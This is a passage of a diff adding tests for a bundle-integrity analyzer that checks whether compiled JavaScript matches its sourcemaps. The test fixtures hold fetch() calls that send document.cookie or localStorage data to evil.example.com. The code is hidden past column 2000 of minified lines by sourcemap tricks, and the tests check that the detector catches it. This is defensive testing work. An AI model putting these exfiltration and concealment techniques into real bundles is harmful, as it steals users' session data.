missingVlq = await validateVlqIntegrity(missing); + expect(missingVlq.findings).toEqual([]); + + // Explicit-stat validators emit a `skipped` reason instead. + const missingMap = await validateMissingSourcemaps(missing); + expect(missingMap.skipped).toBeDefined(); + const missingCoverage = await validateSourceContent({ sourcePath: missing, distPath: missing }); + expect(missingCoverage.skipped).toBeDefined(); + const missingCoh = await validateStructuralCoherence({ sourcePath: missing, distPath: missing }); + expect(missingCoh.skipped).toBeDefined(); + const missingTok = await validateTokenConsistency({ sourcePath: missing, distPath: missing }); + expect(missingTok.skipped).toBeDefined(); + }); +}); + +describe('BACKSTOP: source-content-verification catches injections coverage-analysis now tolerates', () => { + it('flags a dangerous unmapped call-expression past col 2000 on line 1 (single-line minified bundle)', async () => { + const tmp = makeTmpDir(); + const src = 'export const answer = 42;\n'; + // Craft a single-line compiled JS. Prepend 2500 chars of benign filler, then embed + // an unmapped fetch() call past col 2500 (so it's past LINE1_BANNER_EXEMPT_CHARS). + const filler = 'const x' + 'y'.repeat(2400) + ' = 1;'; + const evilFragment = 'function __exfil(){fetch("https://evil.example.com/collect",{method:"POST",body:document.cookie});}'; + const compiled = filler + evilFragment + '\n//# sourceMappingURL=main.js.map\n'; + writeFile(tmp, 'src/main.js', src); + writeFile(tmp, 'dist/main.js', compiled); + // Mappings: legitimate mapping at col 0, then a "reset" segment (1-value) at + // col 500 that explicitly unmaps the rest of the line. Real vite/webpack bundles + // use this pattern in minified output — the injected code past col 2000 will hit + // the `unmapped` branch in runAstChecks. + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: [src], + names: [], + mappings: encode([[[0, 0, 0, 0], [500]]]), + })); + + const res = await validateSourceContent({ sourcePath: path.join(tmp, 'src'), distPath: path.join(tmp, 'dist') }); + const dangerous = res.findings.filter(f => /dangerous API pattern/i.test(f.message)); + expect(dangerous.length).toBeGreaterThan(0); + }); + + it('EXEMPT: the same dangerous code within the first 2000 cols of line 1 is NOT flagged', async () => { + const tmp = makeTmpDir(); + const src = 'export const answer = 42;\n'; + // Same fragment but positioned inside the LINE1_BANNER_EXEMPT_CHARS (2000) window. + // The fetch CallExpression lands near col 48. The map has a real mapping at col 0 + // then a *reset* segment at col 5, so col 48 is genuinely unmapped — the node + // reaches the dangerousUnmapped filter and is dropped ONLY by the exemption + // (column < LINE1_BANNER_EXEMPT_CHARS). Asserts the exemption is what saves it, + // not accidental full-line mapping coverage. + const compiled = 'var __bundlerRuntime__=' + 'function __benignFetch(){fetch("/api/health");}' + 'x'.repeat(500) + '\n//# sourceMappingURL=main.js.map\n'; + writeFile(tmp, 'src/main.js', src); + writeFile(tmp, 'dist/main.js', compiled); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/main.js'], + sourcesContent: [src], + names: [], + mappings: encode([[[0, 0, 0, 0], [5]]]), + })); + + const res = await validateSourceContent({ sourcePath: path.join(tmp, 'src'), distPath: path.join(tmp, 'dist') }); + const dangerous = res.findings.filter(f => /dangerous API pattern/i.test(f.message)); + expect(dangerous).toHaveLength(0); + }); +}); + +describe('BACKSTOP: coverage-analysis cumulative-budget catches many small sub-threshold gaps', () => { + it('flags excessive-cumulative when 10 sub-threshold gaps aggregate past 5%', () => { + // Dense single line (>5000 chars) with 10 gaps of ~800 chars each. Each gap is + // below DENSE_LINE_UNMAPPED_THRESHOLD=2000 so no region is emitted, but their + // aggregate must count against the cumulative-budget signal. + const segments: SourceMapSegment[] = []; + // Layout: for i in 0..10, a mapping at col base_i, then a mapping at base_i + 850. + // Between them a ~800-char gap (with 50 credited to the previous mapping). + let col = 0; + for (let i = 0; i < 10; i++) { + segments.push([col, 0, 0, i * 2]); + col += 850; + segments.push([col, 0, 0, i * 2 + 1]); + col += 200; + } + const tracer = new TraceMap({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encode([segments]), + }); + const compiled = 'a'.repeat(col + 100); + const report = analyzeCoverage(tracer, compiled); + // No per-region emissions on a dense line for gaps this small. + expect(report.unmappedRegions).toHaveLength(0); + // But the cumulative signal must fire: ~10 × 800 = 8000 uncounted chars on ~10500 + // total → ~76% (dominated by the 2000-char preamble exemption pushing the ratio up). + expect(report.excessiveUnmapped).toBe(true); + }); + + it('EXEMPT: a single 800-char sub-threshold gap alone does NOT trip cumulative-budget', () => { + // One small gap on an otherwise well-mapped dense line — must stay below 5%. + const segments: SourceMapSegment[] = []; + // Mappings densely from col 0 to col 20000 in 50-char steps, then a single 800-char + // gap, then continue densely. That's ~800/20800 = 3.8% — below the 5% threshold. + for (let i = 0; i < 400; i++) segments.push([i * 50, 0, 0, i]); + for (let i = 0; i < 400; i++) segments.push([20800 + i * 50, 0, 0, 400 + i]); + const tracer = new TraceMap({ + version: 3, + sources: ['../src/main.js'], + names: [], + mappings: encode([segments]), + }); + const compiled = 'a'.repeat(40800); + const report = analyzeCoverage(tracer, compiled); + expect(report.unmappedRegions).toHaveLength(0); + expect(report.excessiveUnmapped).toBe(false); + }); +}); + +describe('BACKSTOP: source-content-verification catches injection even when token-consistency is suppressed', () => { + it('detects dangerous unmapped code even if the sourcemap tags it with a jsx-runtime name on a .tsx source', async () => { + const tmp = makeTmpDir(); + const src = '\n'; + // Attacker prepends a fake "safe" mapping at (line 1, col 0) pointing at a .tsx + // file with name "jsx" (which our token-consistency now suppresses). The rest of + // line 1 contains an unmapped dangerous call past col 2000. + const filler = 'var _s=' + '"x".repeat(2100)' + ';var _p=' + JSON.stringify('a'.repeat(2000)) + ';'; + const evilFragment = 'function __exfil(){fetch("https://evil.example.com",{method:"POST",body:localStorage.getItem("k")});}'; + const compiled = filler + evilFragment + '\n//# sourceMappingURL=main.js.map\n'; + writeFile(tmp, 'src/App.tsx', src); + writeFile(tmp, 'dist/main.js', compiled); + writeFile(tmp, 'dist/main.js.map', JSON.stringify({ + version: 3, + sources: ['../src/App.tsx'], + sourcesContent: [src], + names: ['jsx'], + // Named mapping at col 0, then an unmapping "reset" segment at col 500 — + // rest of the line is explicitly unmapped, exposing the injected code past + // col 2000 to the source-content-verification dangerous-pattern scan. + mappings: encode([[[0, 0, 0, 0, 0], [500]]]), + })); + + const res = await validateSourceContent({ sourcePath: path.join(tmp, 'src'), distPath: path.join(tmp, 'dist') }); + const dangerous = res.findings.filter(f => /dangerous API pattern/i.test(f.message)); + expect(dangerous.length).toBeGreaterThan(0); + }); +}); diff --git a/packages/code-analyzer-uibundle-engine/tsconfig.build.json b/packages/code-analyzer-uibundle-engine/tsconfig.build.json new file mode 100644 index 00000000..69d7a287 --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/tsconfig.build.json @@ -0,0 +1,16 @@ +{ + "extends": "../../tsconfig.base.json", + "compilerOptions": { + "composite": true, + "outDir": "./dist", + "rootDir": "./src" + }, + "include": [ + "./src" + ], + "references": [ + { + "path": "../code-analyzer-engine-api/tsconfig.build.json" + } + ] +} diff --git a/packages/code-analyzer-uibundle-engine/tsconfig.json b/packages/code-analyzer-uibundle-engine/tsconfig.json new file mode 100644 index 00000000..111c54ac --- /dev/null +++ b/packages/code-analyzer-uibundle-engine/tsconfig.json @@ -0,0 +1,11 @@ +{ + "extends": "./tsconfig.build.json", + "compilerOptions": { + "rootDir": ".", + "noEmit": true + }, + "include": [ + "./src", + "./test" + ] + }